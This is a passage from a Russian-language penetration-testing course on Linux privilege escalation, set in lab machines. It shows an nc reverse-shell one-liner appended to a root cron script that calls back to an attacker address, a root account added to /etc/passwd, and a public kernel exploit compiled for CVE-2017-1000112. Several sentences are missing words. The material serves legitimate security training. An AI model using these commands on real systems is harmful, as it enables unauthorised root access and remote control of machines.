Листинг 69 - Проверкуа лог-файла cron

Похоже, что скрипт с именем user_backups.sh под /var/scripts/ выполняется в контексте пользователя root. Судя по временным меткам, видно, что эта работа выполняется раз в пять минут.

Так как известно расположение скрипта, можно проверить его содержимое и права доступа.

Код:
student@debian:~$ cat /var/scripts/user_backups.sh
#!/bin/bash

cp -rf /home/student/ /var/backups/student/

student@debian:~$ ls -lah /var/scripts/user_backups.sh
-rwxrwxrw- 1 root root 52 ian 27 17:02 /var/scripts/user_backups.sh
Листинг 70 - Содержимое и права доступа скрипта user_backups.sh

Сам сценарий довольно прост: он просто копирует домашний каталог пользователя student (home) в подкаталог резервного копирования (backups). сценария показывают, что любой локальный пользователь может записывать в файл.

Поскольку непривилегированный пользователь может изменять содержимое скрипта резервного копирования, мы можем отредактировать его и добавить однострочный . Если наш план сработает, то мы должны получить реверс-шелл на атакующей машине не позже, чем через пять минут.

Код:
student@debian:/var/scripts$ echo >> user_backup.sh

student@debian:/var/scripts$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|
nc 10.11.0.4 1234 >/tmp/f" >> user_backups.sh

student@debian:/var/scripts$ cat user_backups.sh
#!/bin/bash

cp -rf /home/student/ /var/backups/student/

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f
Листинг 71 - Добавление однострочного реверс-шелла в user_backups.sh

Все, что нужно сделать сейчас, это настроить листнер (listener) на нашей машине Kali Linux и ждать выполнения задания cron:

Код:
kali@kali:~$ nc -lnvp 1234
  listening on [any] 1234 ...
  connect to [10.11.0.4] from (UNKNOWN) [10.11.0.128] 43172
  /bin/sh: 0: can't access tty; job control turned off
  # whoami
  root
  #
Листинг 71 - Получение шелла с правами root на нашей цели

Как показано в предыдущем листинге, задача cron выполнилась, как и сработал наш однострочный реверс-шелл. Привилегии были успешно повышены и получен доступ к шеллу с правами root.

Зачастую администраторы чаще сосредоточены на работе со специфическим синтаксисом cron, нежели на защите прав доступа к скриптам.

Небезопасные права доступа к файлу: изучение примера /etc/passwd

Если не используется централизованная система авторизации, такая как Active Directory или LDAP, пароли Linux обычно хранятся в /etc/shadow, который не доступен для чтения обычным пользователям. Исторически хэши паролей, наряду с другой информацией об учетных записях, хранились в файле, доступном всем для чтения /etc/passwd. Для обратной совместимости сделано так, что если хэш пароля присутствует во втором столбце записи пользователя /etc/passwd, он считается действительным для аутентификации и имеет приоритет над соответствующей записью в /etc/shadow, если она доступна. Это означает, что если получится записать в файл /etc/passwd, то сможем установить произвольный пароль для любой учетной записи.

Продемонстрируем это. В предыдущем разделе было показано, что наш клиент Debian может быть уязвим к повышению привилегий из-за того, что права доступа /etc/passwd были установлены неправильно. Для повышения привилегий добавим ещё одного суперпользователя (root2) и соответствующий хэш пароля в файл /etc/passwd. Сначала сгенерируем хэш пароля с помощью openssl и аргумента passwd. По умолчанию, если другая опция не указана, openssl сгенерирует хэш, используя , который является поддерживаемым механизмом хэширования для аутентификации в Linux. Как только получим сгенерированный хэш, добавим строку в /etc/passwd, используя соответствующий формат:

Код:
student@debian:~$ openssl passwd evil
AK24fcSx2Il3I

student@debian:~$ echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd

student@debian:~$ su root2
Password: evil

root@debian:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
Листинг 72 - Повышение привилегий путем редактирования /etc/passwd​

Как показано в Листинге 72, за пользователем "root2" и хэшем пароля в нашей записи /etc/passwd следуют ноль идентификатора пользователя (UID) и ноль идентификатора группы (GID). Эти нулевые значения указывают на то, что созданная нами учетная запись является учетной записью суперпользователя в Linux. Наконец, для проверки того, что наши изменения были сделаны, мы использовали команду su для переключения нашего стандартного пользователя на вновь созданную учетную запись root2 и выполнили команду id, чтобы показать, что мы действительно имеем привилегии root.

Уязвимости ядра: изучение примера CVE-2017-1000112

Эксплойты ядра - отличный способ повышения привилегий, но успех может зависеть не только от соответствия версии ядра цели, но и от особенностей конкретной операционной системы, например, Debian, Redhat, Gentoo и так далее.

Чтобы продемонстрировать этот вектор атаки, сначала соберем информацию о цели, изучив файл /etc/issue. Как обсуждалось ранее в главе, это системный текстовый файл, который содержит сообщение или идентификатор системы, который должен быть выведена на экран перед запросом входа на машинах под управлением Linux.

Код:
n00b@victim:~$ cat /etc/issue
Ubuntu 16.04.3 LTS \n \l
Листинг 73 - Получение основной информации на целевой системе

Далее мы проверим версию ядра и архитектуру системы с помощью стандартных системных команд:

Код:
n00b@victim:~$ uname -r
4.8.0-58-generic
n00b@victim:~$ arch
x86_64
Листинг 74 - Получение информации о версии ядра и архитектуре на нашей Linux целиШ

Похоже, что целевая система работает под управлением Ubuntu 16.04.3 LTS (ядро 4.8.0-58-generic) на архитектуре x86_64. Вооружившись этой информацией, можно использовать searchsploit на локальной системе Кали для поиска эксплойтов ядра, соответствующих версии целевой системы.

Код:
kali@kali:~$ searchsploit linux kernel ubuntu 16.04
-------------------------------------------------------- -----------------------------
Exploit Title                                            | Path (/usr/share/exploitdb/
-------------------------------------------------------- -----------------------------
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04 | exploits/linux_x86-64/local/
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.0 | exploits/linux_x86/local/422
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow  | exploits/linux/dos/39773.txt
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege | exploits/linux/local/40759.r
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PA | exploits/linux_x86-64/local/
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter ta | exploits/linux_x86-64/local/
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' b  | exploits/linux/local/39772.t
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPL | exploits/linux/local/40489.t
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.0 | exploits/linux/local/43418.c
---------------------------------------------------------- ---------------------------
Листинг 75 - Использование searchsploit для поиска эксплоита повышения привилегий для нашей цели

Последний эксплойт (exploits/linux/local/43418.c), кажется, напрямую соответствует версии ядра, которую использует наша цель. Попытаемся повысить привилегии, запустив этот эксплойт на цели.

Компилирование кода C/C++ в Linux

Будем использовать на Linux для компиляции эксплойта. Имейте в виду, что при компиляции кода, необходимо соответствовать архитектуре цели. Это особенно важно в ситуациях, когда целевая машина не имеет компилятора и приходится компилировать эксплойт на атакующей машине или в песочнице, которая идентична целевой ОС и архитектуре.

В данном примере нам повезло, что целевая машина имеет работающий компилятор, но это редкость.

Скопируем файл эксплойта на целевую машину и скомпилируем его, передав только файл с исходным кодом и -o для указания имени выходного файла (exploit):

Код:
n00b@victim:~$ gcc 43418.c -o exploit
n00b@victim:~$ ls -lah exploit
total 36K
-rwxr-xr-x 1 kali kali 28K Jan 27 04:04 exploit
Листинг 76 - Компилирование эксплоита, взятого в локальном архиве Exploit Database на Linux, с использованием gcc

После компиляции данного эксплоита на целевой машине, можно запустить его и затем выполнить whoami для проверки уровня привилегий:

compiling_C_C++_code_on_linux_figure_293.png

Рисунок 19: Повышение привилегий на Linux с использованием эксплоита

На Рисунке 19 показано, что привилегии были успешно повышены с n00b (стандартный пользователь) до root, учетной записи с самыми высокими привилегиями в операционных системах Linux.

Заключение

В этой главе были рассмотрены концепции повышения привилегий как на операционных системах Windows и Linux, так и на различных архитектурах. Также рассмотрели как ручные, так и автоматизированные методы сбора данных, которые раскрывают необходимую информацию для этих типов атак. Кроме того, продемонстрированы процесс компиляции для обеих операционных систем, продемонстрированы несколько атак с повышением привилегий, а также различные повышения привилегий, не требующие уязвимости программного обеспечения.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!